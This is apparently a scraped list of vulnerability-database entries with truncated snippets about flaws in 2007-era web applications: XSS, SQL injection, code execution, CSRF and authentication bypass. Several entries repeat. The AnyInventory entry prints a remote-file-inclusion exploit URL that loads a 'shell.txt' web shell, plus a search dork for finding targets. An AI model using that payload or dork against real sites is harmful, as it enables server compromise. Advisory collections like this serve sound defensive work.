GForge account/verify.php confirm_hash Parameter XSS

The remote host is running GForge, a web-based project for collaborative software development. The version of GForge installed on the remote host fails to sanitize user-supplied input to the 'confirmhash' parameter of the 'account/verify.php' script before using it to generate dynamic output. An...

ADOdb Lite adodb-perf-module.inc.php last_module Parameter Arbitrary Code Execution

ADOdb Lite, a lightweight database framework for PHP applications, is installed on the remote host. The version of ADOdb Lite on the remote host fails to sanitize input to the 'lastmodule' parameter of the 'adodb-perf-module.inc.php' script before using it in an 'eval' statement to evaluate PHP...

Plesk Multiple Script PLESKSESSID Cookie SQL Injection

Binary data 4213.prm...

DSA-1374-1 jffnms - several vulnerabilities

Bulletin has no description...

Netjuke 1.0-rc2 - sql injection & XSS

The Netjuke is a Web-Based Audio Streaming Jukebox powered by PHP 4, a database and all the MP3, Ogg Vorbis and other format files that constitute your digital music collection. Supports images, language packs, multi-level security, random playlists, etc http://sourceforge.net/projects/netjuke...

netjuke-sqlxss.txt

The Netjuke is a Web-Based Audio Streaming Jukebox powered by PHP 4, a database and all the MP3, Ogg Vorbis and other format files that constitute your digital music collection. Supports images, language packs, multi-level security, random playlists, etc http://sourceforge.net/projects/netjuke...

AnyInventory <= 1.9.1 (environment.php) Remote File Inclusion Vuln

No description provided by source. AnyInventory = 1.9.1 Remote file inclusion Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz Exploit : http://victime.com/anyInventorypath/environment.php?DIRPREFIX= shell.txt? Dork : anyInventory, the most flexible and powerful...

anyinventory-rfi.txt

AnyInventory = 1.9.1 Remote file inclusion Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz Exploit : http://victime.com/anyInventorypath/environment.php?DIRPREFIX= shell.txt? Dork : anyInventory, the most flexible and powerful web-based inventory system Discovered ...

Bugzilla多个远程安全漏洞

BUGTRAQ ID: 25420 Bugzilla是很多软件项目都在使用的基于Web的bug跟踪系统。 Bugzilla的实现上存在多个远程安全漏洞，远程攻击者可能利用这些漏洞在服务器上执行恶意命令或导致信息泄露。 在归档bug的时候Bugzilla没有正确地转义指导表单中的buildid字段，这可能允许用户通过向enterbug.cgi提交恶意URL覆盖User-Agent字符串，执行跨站脚本攻击。...

Help Center Live class/auth.php check_logout Function Admin Authentication Bypass

The remote host is running Help Center Live, an open source, web-based help desk application written in PHP. The version of Help Center Live installed on the remote host has several administrative scripts that fail to exit if called without valid credentials. An unauthenticated attacker may be ab...

CVE-2007-4017

Cross-site request forgery CSRF vulnerability in the web-based administration console in Citrix Access Gateway before firmware 4.5.5 allows remote attackers to perform certain configuration changes as administrators...

CVE-2007-4017

Cross-site request forgery CSRF vulnerability in the web-based administration console in Citrix Access Gateway before firmware 4.5.5 allows remote attackers to perform certain configuration changes as administrators...

CVS (Web-Based) Directory Spider

The CVS directory contains the standard CVS file 'Entries'. Using this file, part of the contents of the document root of the web server can be obtained. This allows an attacker to search for sensitive information located in the document root of the web server. %NASLMINLEVEL 70300 CVS directory...

[SECURITY] Fedora 7 Update: phpPgAdmin-4.1.3-1.fc7

phpPgAdmin is a fully functional web-based administration utility for a PostgreSQL database server. It handles all the basic functionality as well as some advanced features such as triggers, views and functions stored procedures. It also has Slony-I support...

Cross Site Scripting in Oliver Library Management System

BACKGROUND ========== "Oliver is the web-based Library Management System for Schools. Softlink has built on the understanding of thousands of school clients, over many years, and has designed a new system for school libraries and learning resource centres in the 21st century" -- from...

CVE-2007-3502

Unspecified vulnerability in the web-based product configuration system in Kaspersky Anti-Spam before 3.0 MP1 allows remote attackers to obtain access to certain directories...

Design/Logic Flaw

Unspecified vulnerability in the web-based product configuration system in Kaspersky Anti-Spam before 3.0 MP1 allows remote attackers to obtain access to certain directories...

CVE-2007-3502

Unspecified vulnerability in the web-based product configuration system in Kaspersky Anti-Spam before 3.0 MP1 allows remote attackers to obtain access to certain directories...

CVE-2007-3502

CVE-2007-3502 affects Kaspersky Anti-Spam before 3.0 MP1. The vulnerability is in the web-based product configuration system, allowing remote attackers to obtain access to certain directories (information disclosure). The NVD entry cites network access with low attack complexity and no authentica...

[SECURITY] Fedora 7 Update: phpPgAdmin-4.1.2-1.fc7

phpPgAdmin is a fully functional web-based administration utility for a PostgreSQL database server. It handles all the basic functionality as well as some advanced features such as triggers, views and functions stored procedures. It also has Slony-I support...